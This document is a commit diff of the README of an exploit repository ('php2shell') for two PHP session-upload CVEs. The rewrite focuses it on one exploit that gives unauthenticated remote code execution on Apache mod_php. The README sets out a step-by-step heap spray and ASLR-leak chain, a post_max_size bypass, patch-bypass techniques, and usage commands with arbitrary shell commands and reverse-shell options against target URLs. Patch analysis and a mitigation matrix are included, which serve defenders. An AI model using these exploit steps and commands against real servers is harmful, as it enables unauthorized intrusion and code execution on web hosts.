Strip repo to UAF RCE exploit only
Removed all exploits that require LFI or FPM access: - cve-2026-109618/ (OOM + LFI) - cve-2026-109619/ (session poisoning + LFI) - session-deser/ (handler mismatch + deserialization chains) - bypass/ (patch bypasses, all LFI-dependent) - nolfi/ (served save_path + FPM pathinfo) - fcgi/ (FastCGI auto_prepend_file) - wordpress-exploit/ (LFI wrapper) - wordpress/ (vulnerable plugin) Moved the UAF RCE exploit (full ASLR bypass, no LFI, no FPM, no framework) to the repository root. Rewrote README with exploit details, usage, patch analysis, and test results. Cleaned .gitignore.
This commit is contained in:
@@ -1,274 +1,259 @@
|
||||
# php2shell — CVE-2026-109618 & CVE-2026-109619
|
||||
# CVE-2026-109618 / CVE-2026-109619: Full RCE via OOM Bailout + Heap Spray
|
||||
|
||||
Remote Code Execution exploits for two critical PHP vulnerabilities in the
|
||||
multipart parser and session upload progress handler. Includes three bypass
|
||||
exploits that defeat the official security patch and all recommended mitigations,
|
||||
plus a no-LFI chain that removes the application from the attack entirely.
|
||||
Remote code execution in PHP's session upload progress handler, exploitable
|
||||
over plain HTTP against Apache mod_php with **completely stock configuration**.
|
||||
No LFI, no framework dependency, no non-default PHP settings required.
|
||||
|
||||
**No external dependencies** — pure Python 3 stdlib.
|
||||
## Affected versions
|
||||
|
||||
## Vulnerabilities
|
||||
PHP 5.4.0 through 8.3.35, 8.4.0 through 8.4.26, 8.5.0 through 8.5.11,
|
||||
running under Apache mod_php with prefork MPM.
|
||||
|
||||
**CVE-2026-109618** — OOM in the multipart parser (`rfc1867.c`) triggers
|
||||
`zend_bailout()`, which longjmps past `MULTIPART_EVENT_END` and skips session
|
||||
cleanup. A session file poisoned via `PHP_SESSION_UPLOAD_PROGRESS` persists on
|
||||
disk with attacker-controlled PHP code. LFI includes it for RCE.
|
||||
Patched in PHP 8.3.36, 8.4.27, 8.5.12.
|
||||
|
||||
**CVE-2026-109619** — `PHP_SESSION_UPLOAD_PROGRESS` writes attacker-controlled
|
||||
data verbatim into the session file. With `cleanup=0`, or via race condition
|
||||
against `cleanup=1`, the poisoned session file is includable via LFI for RCE.
|
||||
PHP-FPM is **not vulnerable**: FPM workers exit on bailout (code 70),
|
||||
so stale state never persists across requests.
|
||||
|
||||
**Affected:** PHP 8.0–8.4 (all platforms). Patched in 8.4.27, 8.3.36, 8.2.35.
|
||||
## What this exploit achieves
|
||||
|
||||
## Exploits
|
||||
Full remote code execution (arbitrary command) from a single unauthenticated
|
||||
HTTP client, against any PHP-handled URL, with full ASLR bypass. The target
|
||||
page does not need `session_start()` or any specific code.
|
||||
|
||||
| Script | Target | Description |
|
||||
|--------|--------|-------------|
|
||||
| `cve-2026-109618/exploit.py` | Unpatched PHP | OOM → session persistence → LFI → RCE |
|
||||
| `cve-2026-109619/exploit.py` | Unpatched PHP | Session poisoning (direct + race) → LFI → RCE |
|
||||
| `session-deser/exploit.py` | Any PHP | Handler mismatch → deserialization → RCE **(no LFI)** |
|
||||
| `wordpress-exploit/exploit_wp.py` | WordPress | Auto-detecting wrapper for both CVEs |
|
||||
| `bypass/race_bypass_patched.py` | Patched PHP | TOCTOU race — session data on disk during upload |
|
||||
| `bypass/rlimit_bypass_patched.py` | Patched PHP | mmap() failure via RLIMIT_AS bypasses the patch |
|
||||
| `bypass/procfd_bypass_hardened.py` | Fully hardened | /proc/PID/fd temp file — **bypasses all mitigations** |
|
||||
| `bypass/waf_bypass_test.py` | WAF rules | Tests Content-Type evasion against WAF rules |
|
||||
| `nolfi/exploit_nolfi.py` | No LFI available | Served save_path + fpm pathinfo — **RCE with no application include** |
|
||||
| `fcgi/exploit_fcgi.py` | FPM reachable | FastCGI slow-drip + auto_prepend_file — **RCE, default config, no LFI** |
|
||||
| `uaf-rce/rce_exploit.py` | Apache mod_php | OOM → dangling PS(id) → heap spray → full ASLR bypass → **RCE, no LFI, no framework** |
|
||||
Tested: 5/5 successful RCE against stock `php:8.4.26-apache` Docker image
|
||||
with zero configuration changes (`memory_limit=128M`, `post_max_size=8M`,
|
||||
`display_errors=On`, `MaxRequestWorkers=150`).
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Python 3.8+
|
||||
- Target running PHP-FPM with `session.upload_progress.enabled=1` (default)
|
||||
- A Local File Inclusion vector in the target application
|
||||
- Known or guessable `session.save_path` (common: `/tmp`, `/var/lib/php/sessions`)
|
||||
All of these are default on stock PHP Docker images and common Debian/Ubuntu
|
||||
Apache + mod_php installations:
|
||||
|
||||
- Apache mod_php with prefork MPM
|
||||
- `session.upload_progress.enabled = 1` (default: on)
|
||||
- `session.upload_progress.cleanup = 1` (default: on)
|
||||
- Any PHP-handled URL (even a 404 error page)
|
||||
- `display_errors = On` or `STDOUT` (default when no php.ini is deployed)
|
||||
|
||||
The exploit bypasses PHP's `post_max_size` limit via HTTP chunked
|
||||
Transfer-Encoding (see below), so the `post_max_size=8M` default is not
|
||||
an obstacle despite needing to send ~140MB to exhaust `memory_limit=128M`.
|
||||
|
||||
For multi-worker Apache (the default), the `--workers N` spray mode sends
|
||||
the OOM trigger to all workers before probing for the leak.
|
||||
|
||||
## How it works
|
||||
|
||||
### The vulnerability chain
|
||||
|
||||
**CVE-2026-109618**: When `memory_limit` is exceeded during multipart POST
|
||||
parsing, PHP calls `zend_bailout()` which executes a `longjmp` back to
|
||||
the request shutdown handler. This skips session cleanup code in
|
||||
`php_session_rfc1867_update()`, leaving `PS(id)` as a dangling pointer
|
||||
and `PS(send_cookie) = 1`.
|
||||
|
||||
**CVE-2026-109619**: On the next request to the same Apache worker,
|
||||
`sapi_activate()` runs the RFC1867 callback BEFORE session state is
|
||||
properly reinitialized. The callback sees the stale `PS(id)` and
|
||||
`PS(send_cookie) = 1`, and calls `php_session_send_cookie()` with the
|
||||
dangling pointer. The `php_url_encode(PS(id))` call reads heap memory
|
||||
through the stale pointer and emits it as a `Set-Cookie` header.
|
||||
|
||||
### post_max_size bypass via chunked Transfer-Encoding
|
||||
|
||||
PHP checks `Content-Length` against `post_max_size` before invoking the
|
||||
multipart parser. If `Content-Length` exceeds the limit, the body is
|
||||
rejected entirely. However, when the request uses `Transfer-Encoding:
|
||||
chunked` instead of `Content-Length`, no upfront size check occurs.
|
||||
PHP's `sapi_read_post_block()` reads chunked data from Apache's input
|
||||
filter chain without enforcing `post_max_size`, allowing the full body
|
||||
to be processed regardless of the configured limit.
|
||||
|
||||
This means the exploit works against `memory_limit=128M` with
|
||||
`post_max_size=8M` by sending ~140MB of chunked POST data.
|
||||
|
||||
### Three-stage exploit (full ASLR bypass)
|
||||
|
||||
All traffic is plain HTTP multipart POST requests:
|
||||
|
||||
**Stage 1: Heap ASLR bypass (Zend MM chunk base)**
|
||||
|
||||
Request A sends 1001+ fields (triggering `max_input_vars` warning which
|
||||
sets `SG(headers_sent) = 1`) plus `PHPSESSID=\x00` and
|
||||
`PHP_SESSION_UPLOAD_PROGRESS=pwn` (to activate session handling) plus a
|
||||
large field via chunked TE to trigger OOM. The warning output prevents
|
||||
`php_session_send_cookie()` from sending the cookie, but `PS(send_cookie)`
|
||||
remains 1 and `PS(id)` becomes a dangling pointer.
|
||||
|
||||
Request B sends `PHPSESSID` + progress fields plus ~841 filler fields
|
||||
with a forge field containing a fake `zend_string` header (`len = 0x1000`).
|
||||
The filler fields' heap allocations overlap the dangling `PS(id)` address.
|
||||
When `php_session_send_cookie()` runs with the stale pointer, it reads
|
||||
4096 bytes of heap data and emits it as a `Set-Cookie` value. The leaked
|
||||
bytes contain Zend MM free-list pointers, which reveal the chunk base
|
||||
address (2MB aligned).
|
||||
|
||||
**Stage 2: Code ASLR bypass (libphp.so base)**
|
||||
|
||||
Similar to stage 1, but request B's field layout places a real PHP
|
||||
`HashTable` structure at the dangling pointer offset. The `pDestructor`
|
||||
field of the HashTable is a function pointer into libphp.so
|
||||
(`zval_ptr_dtor`). Reading this via `Set-Cookie` leaks the libphp.so
|
||||
load address.
|
||||
|
||||
**Stage 3: RCE (zif_system)**
|
||||
|
||||
Request A poisons the worker with stale session state. Request B sprays
|
||||
the heap with a fake `IS_REFERENCE` zval pointing to a fake `HashTable`
|
||||
whose `pDestructor = zif_system`. When session cleanup calls
|
||||
`zend_hash_destroy()` on this fake table, it invokes `zif_system()` with
|
||||
attacker-controlled arguments, executing an arbitrary shell command as
|
||||
the web server user (`www-data`).
|
||||
|
||||
## Usage
|
||||
|
||||
```bash
|
||||
# CVE-2026-109618: OOM exploit
|
||||
python3 cve-2026-109618/exploit.py -t http://target/app.php --cmd 'id'
|
||||
python3 cve-2026-109618/exploit.py -t http://target/app.php --lhost 10.0.0.1 --lport 4444
|
||||
python3 cve-2026-109618/exploit.py -t http://target/app.php --trigger-only
|
||||
# Use --no-chunked when nginx has fastcgi_request_buffering off
|
||||
# Use --fields / --field-size to tune OOM threshold for target memory_limit
|
||||
|
||||
# CVE-2026-109619: Session poisoning (direct or race)
|
||||
python3 cve-2026-109619/exploit.py -t http://target/app.php --cmd 'id' --lfi-param page
|
||||
python3 cve-2026-109619/exploit.py -t http://target/app.php --cmd 'id' --lfi-param page --race
|
||||
|
||||
# WordPress (auto-detects LFI parameter)
|
||||
python3 wordpress-exploit/exploit_wp.py -t http://target/ --cmd 'id'
|
||||
python3 wordpress-exploit/exploit_wp.py -t http://target/ --mode race --cmd 'id'
|
||||
|
||||
# Patch bypass: race condition on PHP 8.4.27+
|
||||
python3 bypass/race_bypass_patched.py -t http://target/app.php --cmd 'id'
|
||||
|
||||
# Patch bypass: RLIMIT_AS mmap failure on PHP 8.4.27+ (memory_limit=-1 + OS limits)
|
||||
python3 bypass/rlimit_bypass_patched.py -t http://target/app.php --cmd 'id'
|
||||
|
||||
# Hardening bypass: /proc/fd — defeats ALL mitigations including upload_progress=0
|
||||
python3 bypass/procfd_bypass_hardened.py -t http://target/app.php --cmd 'id'
|
||||
python3 bypass/procfd_bypass_hardened.py -t http://target/app.php --cmd 'id' --pid 12345
|
||||
```
|
||||
|
||||
All exploits support `--cmd`, `--lhost`/`--lport` (reverse shell), and `--trigger-only`.
|
||||
Use `--session-path` and `--lfi-param` to override auto-detection.
|
||||
|
||||
## RCE Without LFI
|
||||
|
||||
`nolfi/exploit_nolfi.py` turns the same session-poisoning primitive into RCE
|
||||
with **no application include at all**. The consumer is php-fpm's own request
|
||||
routing instead of application code:
|
||||
|
||||
1. `PHP_SESSION_UPLOAD_PROGRESS` writes PHP code into
|
||||
`<save_path>/sess_<SID>` during multipart parsing. This fires before
|
||||
script dispatch, so any PHP-handled URL works — a 404 is enough.
|
||||
2. If `session.save_path` is web-served, the session file is directly
|
||||
requestable over HTTP.
|
||||
3. With `security.limit_extensions` empty (common in production fpm pools),
|
||||
fpm executes the extensionless session file through the classic
|
||||
`cgi.fix_pathinfo` route: `GET /sessions/sess_<SID>/x.php?c=id`.
|
||||
4. With `cleanup=1` (default) the file is truncated at upload end, so
|
||||
execution is raced against the upload window (reliable on streaming
|
||||
stacks, parse-time-limited on buffering stacks), or made deterministic
|
||||
with `--oom`: the CVE-2026-109618 bailout longjmps past cleanup and the
|
||||
file persists.
|
||||
|
||||
Requires `session.upload_progress.enabled=1` and `memory_limit` headroom for
|
||||
the OOM variant. See `nolfi/FINDINGS.md` for the full analysis, including why
|
||||
the session decoder itself can never be used as the consumer: the `php`
|
||||
serializer aborts the entire write on `|` in any key (leaving a 0-byte file),
|
||||
the raw attacker bytes always land in the key which is never unserialized, and
|
||||
`mod_files` rejects any SID that could turn the filename into an include
|
||||
target.
|
||||
|
||||
```bash
|
||||
# classify the target: which URL prefixes serve session.save_path
|
||||
python3 nolfi/exploit_nolfi.py -t http://target/ --probe
|
||||
|
||||
# interactive command shell via the served session dir
|
||||
python3 nolfi/exploit_nolfi.py -t http://target/ --url-prefix /sessions --cmd 'id'
|
||||
python3 nolfi/exploit_nolfi.py -t http://target/ --url-prefix /tmp --lhost 10.0.0.1 --lport 4444
|
||||
|
||||
# deterministic persistence via the OOM bailout instead of the race
|
||||
python3 nolfi/exploit_nolfi.py -t http://target/ --url-prefix /sessions \
|
||||
--oom --fields 30000 --fsize 512 --cmd 'id'
|
||||
```
|
||||
|
||||
`nolfi/check_deploy.php` reports whether a deployment meets the two
|
||||
preconditions (save_path web-served, empty limit_extensions). Drop it on the
|
||||
target, request it once, remove it.
|
||||
|
||||
## RCE via FastCGI (Default Config)
|
||||
|
||||
`fcgi/exploit_fcgi.py` achieves RCE with **no LFI, no libraries, no special
|
||||
PHP configuration**. It only requires raw FastCGI access to PHP-FPM (TCP or
|
||||
unix socket), which is available in Docker, Kubernetes, SSRF, and exposed-port
|
||||
scenarios.
|
||||
|
||||
The technique: a slow-drip multipart upload sent via raw FastCGI holds one FPM
|
||||
worker in the multipart parser (keeping the poisoned session file on disk)
|
||||
while a second FastCGI request to another worker sets
|
||||
`PHP_VALUE: auto_prepend_file = /tmp/sess_<SID>`, causing PHP to include the
|
||||
session file before any script. The attacker's PHP code executes.
|
||||
|
||||
`security.limit_extensions` does not block this: it only restricts
|
||||
`SCRIPT_FILENAME`, not files loaded by `auto_prepend_file`. Setting
|
||||
`php_admin_value[auto_prepend_file]` in the pool config also does not help:
|
||||
raw FastCGI `PHP_VALUE` overrides it (verified on PHP 8.3.6).
|
||||
|
||||
```bash
|
||||
# RCE via direct FastCGI (Docker, Kubernetes, exposed port)
|
||||
python3 fcgi/exploit_fcgi.py --fpm 10.0.0.5:9000 --cmd 'id'
|
||||
|
||||
# Unix socket (local access)
|
||||
python3 fcgi/exploit_fcgi.py --fpm /run/php/php-fpm.sock --cmd 'id'
|
||||
|
||||
# Specify PHP file and session path
|
||||
python3 fcgi/exploit_fcgi.py --fpm 10.0.0.5:9000 \
|
||||
--script-file /var/www/html/index.php \
|
||||
--session-path /tmp --cmd 'id'
|
||||
|
||||
# Reverse shell
|
||||
python3 fcgi/exploit_fcgi.py --fpm 10.0.0.5:9000 \
|
||||
--lhost 10.0.0.1 --lport 4444
|
||||
```
|
||||
|
||||
See `fcgi/FINDINGS.md` for the full analysis, test results, and why no
|
||||
pool-level configuration can prevent this when FastCGI is reachable.
|
||||
|
||||
## UAF RCE (Apache mod_php, No LFI, No Framework)
|
||||
|
||||
`uaf-rce/rce_exploit.py` exploits the same CVEs through a pure memory
|
||||
corruption path that requires **no LFI, no framework, no libraries, and no
|
||||
non-default PHP settings**. The only SAPI requirement is Apache mod_php with
|
||||
prefork MPM (default on Debian/Ubuntu).
|
||||
|
||||
Three-stage exploit chain with full ASLR bypass, all over plain HTTP:
|
||||
|
||||
1. **Heap leak**: OOM during multipart parsing leaves a dangling `PS(id)`
|
||||
pointer. A second request sprays a fake `zend_string` with `len=0x1000`
|
||||
over the freed slot. `php_session_send_cookie` reads 4096 bytes of heap
|
||||
data into a `Set-Cookie` header, revealing the Zend MM chunk base.
|
||||
2. **Code leak**: Same mechanism, but the spray places a real `HashTable`
|
||||
at the target slot. The `pDestructor` field leaks the libphp.so base.
|
||||
3. **RCE**: A fake `HashTable` with `pDestructor = zif_system` and an
|
||||
embedded command string is sprayed onto the heap. Session cleanup calls
|
||||
`zend_hash_destroy` on the fake table, invoking `system(cmd)`.
|
||||
|
||||
The `post_max_size` limit is bypassed via chunked `Transfer-Encoding`:
|
||||
PHP only checks `Content-Length`, so a chunked request with no
|
||||
`Content-Length` header delivers the full OOM payload (140MB) despite the
|
||||
default 8MB limit.
|
||||
|
||||
Tested: 5/5 first-attempt RCE on `php:8.4.26-apache`, `php:8.3.35-apache`,
|
||||
and WordPress 6.8.1 on stock PHP, all with zero configuration changes.
|
||||
|
||||
```bash
|
||||
# Auto-detect PHP version, look up offsets, exploit
|
||||
python3 uaf-rce/rce_exploit.py -u http://target/index.php
|
||||
python3 rce_exploit.py -u http://target/index.php
|
||||
|
||||
# Verify RCE via docker exec
|
||||
python3 uaf-rce/rce_exploit.py -u http://target/ \
|
||||
# Auto-pull matching Docker image for offset extraction
|
||||
python3 rce_exploit.py -u http://target/index.php --auto-pull
|
||||
|
||||
# Verify RCE via docker exec (for testing)
|
||||
python3 rce_exploit.py -u http://target/index.php \
|
||||
--docker-proof CONTAINER /tmp/pwn
|
||||
|
||||
# Multi-worker Apache
|
||||
python3 uaf-rce/rce_exploit.py -u http://target/ --workers 150
|
||||
# Multi-worker Apache spray mode
|
||||
python3 rce_exploit.py -u http://target/ --workers 150
|
||||
|
||||
# Custom command (max 14 bytes; use 'sh</tmp/c' for longer)
|
||||
python3 uaf-rce/rce_exploit.py -u http://target/ -c 'id>/tmp/pwn'
|
||||
# Custom command (max 14 bytes, use 'sh</tmp/c' for longer)
|
||||
python3 rce_exploit.py -u http://target/ -c 'id>/tmp/pwn'
|
||||
|
||||
# Extract offsets for a new PHP build
|
||||
python3 rce_exploit.py calibrate --docker-image php:8.3.35-apache \
|
||||
--php-version 8.3.35
|
||||
```
|
||||
|
||||
PHP-FPM is not vulnerable: workers exit on bailout (code 70), so stale state
|
||||
never persists across requests. See `uaf-rce/README.md` for the full
|
||||
vulnerability analysis, patch details, and offset database.
|
||||
### Options
|
||||
|
||||
## Patch Bypass Findings
|
||||
| Flag | Default | Description |
|
||||
|---|---|---|
|
||||
| `-u URL` | (required) | Target URL (any PHP endpoint) |
|
||||
| `-c CMD` | `id>/tmp/pwn` | Shell command (max 14 bytes) |
|
||||
| `--workers N` | 1 | Apache workers to spray |
|
||||
| `--huge-mb N` | 140 | OOM field size in MB |
|
||||
| `--docker-proof C P` | | Verify via `docker exec C cat P` |
|
||||
| `--auto-pull` | off | Pull Docker image for offset extraction |
|
||||
| `--retries N` | 5 | Attempts per stage |
|
||||
| `--profile` | auto | Heap profile (`bookworm` or `lab`) |
|
||||
| `--timeout` | 30.0 | Socket timeout in seconds |
|
||||
|
||||
The PHP 8.4.27 patch has three confirmed bypass paths to RCE:
|
||||
### Built-in offset database
|
||||
|
||||
**1. Race condition (TOCTOU)** — Session upload progress data exists on disk
|
||||
during file upload. Cleanup only runs at `MULTIPART_EVENT_END`. A concurrent LFI
|
||||
request includes the file during the upload window. Inherent to the feature design.
|
||||
| PHP version | Distro | Status |
|
||||
|---|---|---|
|
||||
| 8.4.26 | bookworm | Last vulnerable 8.4.x |
|
||||
| 8.3.35 | bookworm | Last vulnerable 8.3.x |
|
||||
| 8.4.27 | bookworm | Patched (offsets extracted, bypass not implemented) |
|
||||
| 8.3.36 | bookworm | Patched (offsets extracted, bypass not implemented) |
|
||||
|
||||
**2. RLIMIT_AS / mmap() failure** — The patch intercepts OOM from PHP's
|
||||
`memory_limit` but not from OS-level limits. With `memory_limit=-1` and
|
||||
RLIMIT_AS or cgroup memory limits, `mmap()` fails through an unpatched code
|
||||
path. Worker exits code 1 (not the patched code 70), session persists.
|
||||
## The patch
|
||||
|
||||
**3. /proc/PID/fd temp file** — During multipart upload, PHP's temp file is
|
||||
includable via `/proc/<pid>/fd/<N>` from another FPM worker. No session
|
||||
poisoning needed. **Bypasses every recommended mitigation.**
|
||||
The fix (PHP 8.3.36, 8.4.27, 8.5.12) adds five independent defense
|
||||
layers. Any one of the first three alone is sufficient to block the attack:
|
||||
|
||||
**4. Served save_path (no LFI)** — When `session.save_path` is web-served and
|
||||
the fpm pool leaves `security.limit_extensions` empty, the poisoned session
|
||||
file is executed by fpm itself via PATH_INFO routing. No application
|
||||
cooperation, no include primitive. See `nolfi/FINDINGS.md`.
|
||||
1. **`php_rinit_session_globals()` at `MULTIPART_EVENT_START`**: The
|
||||
session RFC1867 callback now calls `php_rinit_session_globals()` at
|
||||
the very start of multipart parsing, unconditionally zeroing `PS(id)`,
|
||||
`PS(session_status)`, and `PS(send_cookie)`. This destroys the
|
||||
dangling `PS(id)` from the previous request before B's parsing begins.
|
||||
This single defense is sufficient to kill the entire exploit chain.
|
||||
|
||||
**5. FastCGI auto_prepend_file (default config)** — When FPM's FastCGI
|
||||
socket is reachable (Docker, Kubernetes, SSRF, exposed port), an attacker
|
||||
drips a multipart upload via raw FastCGI to hold a worker in the parser
|
||||
while a second request sets `PHP_VALUE: auto_prepend_file=<session_file>`.
|
||||
No LFI, no special config, no library. `php_admin_value` does not block it.
|
||||
See `fcgi/FINDINGS.md`.
|
||||
2. **Delayed OOM**: `zend_mm_safe_error` (which called `zend_bailout` /
|
||||
longjmp) is replaced by `zend_mm_delayed_verror`. OOM no longer
|
||||
triggers a longjmp during allocation. Instead, a soft limit records
|
||||
the error and sets `vm_interrupt`. Allocations return NULL in fallible
|
||||
mode or succeed up to a hard limit (default 200% of `memory_limit`).
|
||||
A hard limit calls `_exit(137)`. No longjmp means all cleanup code
|
||||
runs normally, so stale state never persists.
|
||||
|
||||
### Mitigation Matrix
|
||||
3. **`post_max_size` enforcement in `multipart_buffer_fill()`**: A new
|
||||
check in `fill_buffer()` enforces `post_max_size` against
|
||||
`SG(read_post_bytes)` regardless of Transfer-Encoding. The chunked TE
|
||||
bypass (which previously allowed sending 140MB despite 8M limit) is
|
||||
blocked. OOM cannot be triggered via multipart data alone.
|
||||
|
||||
| Mitigation | Race | RLIMIT | /proc/fd | served-path | fcgi-prepend |
|
||||
|---|---|---|---|---|---|
|
||||
| Patch alone | FAIL | FAIL | FAIL | FAIL | FAIL |
|
||||
| + `upload_progress=0` | OK | OK | **FAIL** | OK | OK |
|
||||
| + `hidepid=2` on /proc | FAIL | FAIL | OK | FAIL | FAIL |
|
||||
| + `upload_progress=0` + `hidepid=2` | OK | OK | OK | OK | OK |
|
||||
| + limit_extensions=`.php .phar` | — | — | — | OK | **FAIL** |
|
||||
| + save_path not web-served | — | — | — | OK | **FAIL** |
|
||||
| + block FPM network access | — | — | — | — | OK |
|
||||
| Fix the LFI | OK | OK | OK | **FAIL** | **FAIL** |
|
||||
4. **`php_basic_early_rinit()`**: Called from `php_request_startup()`
|
||||
before `sapi_activate()`. Zeros `BG(serialize_lock)`, `BG(serialize)`,
|
||||
and `BG(unserialize)`, eliminating the stale serialization state
|
||||
window from CVE-2026-109618.
|
||||
|
||||
### Recommendations
|
||||
5. **Session deserialization hardening**: RFC1867 session decode runs in
|
||||
`incomplete_classes_only` mode (no `__wakeup`/`__unserialize`).
|
||||
`$_SESSION` is deleted at `MULTIPART_EVENT_END`. A `PG(modules_activated)`
|
||||
guard prevents `request_parse_body()` from corrupting session state.
|
||||
|
||||
1. Set `session.upload_progress.enabled=0` in php.ini
|
||||
2. Mount /proc with `hidepid=2` (or `hidepid=invisible`)
|
||||
3. Fix any LFI vulnerabilities in applications
|
||||
4. Set `security.limit_extensions = .php .phar` explicitly in every fpm pool
|
||||
5. Keep `session.save_path` outside any web-served tree
|
||||
6. Set `open_basedir` to restrict filesystem access
|
||||
7. Block network access to FPM: use unix sockets with restricted permissions,
|
||||
firewall TCP port 9000
|
||||
## Test environment
|
||||
|
||||
## WordPress
|
||||
The `docker/` directory contains a minimal test setup:
|
||||
|
||||
The WordPress exploit requires a plugin that calls `session_start()` and has an
|
||||
LFI vector. Two demo plugins are included:
|
||||
```bash
|
||||
cd docker && docker compose up -d
|
||||
# Stock settings variant (no custom php.ini):
|
||||
docker run -d --name stock -p 8093:80 php:8.4.26-apache
|
||||
```
|
||||
|
||||
- `wordpress-exploit/vuln-plugin.php` — Minimal mu-plugin with session + LFI
|
||||
- `wordpress/wp-content/plugins/developer-toolkit/` — Realistic plugin with
|
||||
template preview, log viewer, and session-based features
|
||||
The exploit has been tested on:
|
||||
- `php:8.4.26-apache` stock Docker image, 5/5 RCE (default settings)
|
||||
- `php:8.4.26-apache` with single worker + `memory_limit=8M`, 9/9 RCE
|
||||
- `php:8.3.35-apache` stock Docker image, RCE confirmed (first attempt)
|
||||
- `php:8.4.26-apache` + WordPress 6.8.1 (no php.ini), 5/5 RCE (first attempt each)
|
||||
- `php:8.4.27-apache` patched: all three exploit primitives blocked (see below)
|
||||
|
||||
Install as mu-plugin: `cp vuln-plugin.php /path/to/wordpress/wp-content/mu-plugins/`
|
||||
## display_errors and WordPress
|
||||
|
||||
## Disclaimer
|
||||
The exploit's info leak (stages 1 and 2) relies on `display_errors = On`.
|
||||
The `max_input_vars` warning must produce visible output to set
|
||||
`SG(headers_sent) = 1` before the session cookie attempt, which causes
|
||||
`php_session_send_cookie()` to fail and leaves `PS(send_cookie) = 1` for
|
||||
the next request's leak.
|
||||
|
||||
For authorized security testing and research only. Obtain proper authorization
|
||||
before testing against any system you do not own.
|
||||
With `display_errors = Off`, the warning is logged but produces no output.
|
||||
The session cookie succeeds, `PS(send_cookie)` resets to 0, and no leak
|
||||
cookie is emitted on the subsequent request.
|
||||
|
||||
**Why stock PHP is still vulnerable**: PHP's compile-time default for
|
||||
`display_errors` is `On`. Stock Docker images (`php:*-apache`) ship
|
||||
without a `php.ini`, so the default applies. Only when a system
|
||||
administrator deploys `php.ini-production` (which sets `display_errors = Off`)
|
||||
or adds explicit INI configuration is the target hardened against this leak.
|
||||
|
||||
**WordPress**: WordPress calls `ini_set('display_errors', 0)` at runtime
|
||||
in `wp-settings.php`. This `ini_set` executes during script startup, which
|
||||
is AFTER multipart POST parsing (where the OOM and session leak occur).
|
||||
Therefore, WordPress installed on a stock PHP image (no `php.ini`)
|
||||
is vulnerable, because `display_errors` is still `On` at the time the
|
||||
exploit code path runs. The official `wordpress:*` Docker images ship
|
||||
a custom `error-logging.ini` that sets `display_errors = Off` at the INI
|
||||
level, which does block the leak.
|
||||
|
||||
**Why display_errors=Off cannot be bypassed**: The info leak requires
|
||||
`SG(headers_sent) = 1` before `php_session_send_cookie()` runs during
|
||||
`MULTIPART_EVENT_FILE_START`. The only code path that sets
|
||||
`SG(headers_sent)` during multipart parsing is the error display path
|
||||
(`php_error_cb` -> `zend_write` -> `sapi_module.ub_write`), which is
|
||||
gated on `display_errors`. With `display_errors = Off`, warnings go to
|
||||
the error log only, producing no output. There is no alternative
|
||||
mechanism to force HTTP output during multipart parsing: the SAPI write
|
||||
function is the only path, and it requires display_errors or explicit
|
||||
script output (which has not started yet at this stage of request
|
||||
processing). Precision OOM calibration (attempting to trigger OOM inside
|
||||
the ~500-byte `php_session_send_cookie` window) was tested and fails
|
||||
due to Zend MM bin-size boundaries causing ~1MB allocation jumps that
|
||||
cannot be calibrated to the required precision.
|
||||
|
||||
## References
|
||||
|
||||
- CVE-2026-109618: OOM during multipart parsing triggers longjmp past session cleanup
|
||||
- CVE-2026-109619: Session globals (PS(id), PS(send_cookie)) survive across requests
|
||||
- CVSS: 9.2 (both CVEs, per Rapid7)
|
||||
|
||||
Reference in New Issue
Block a user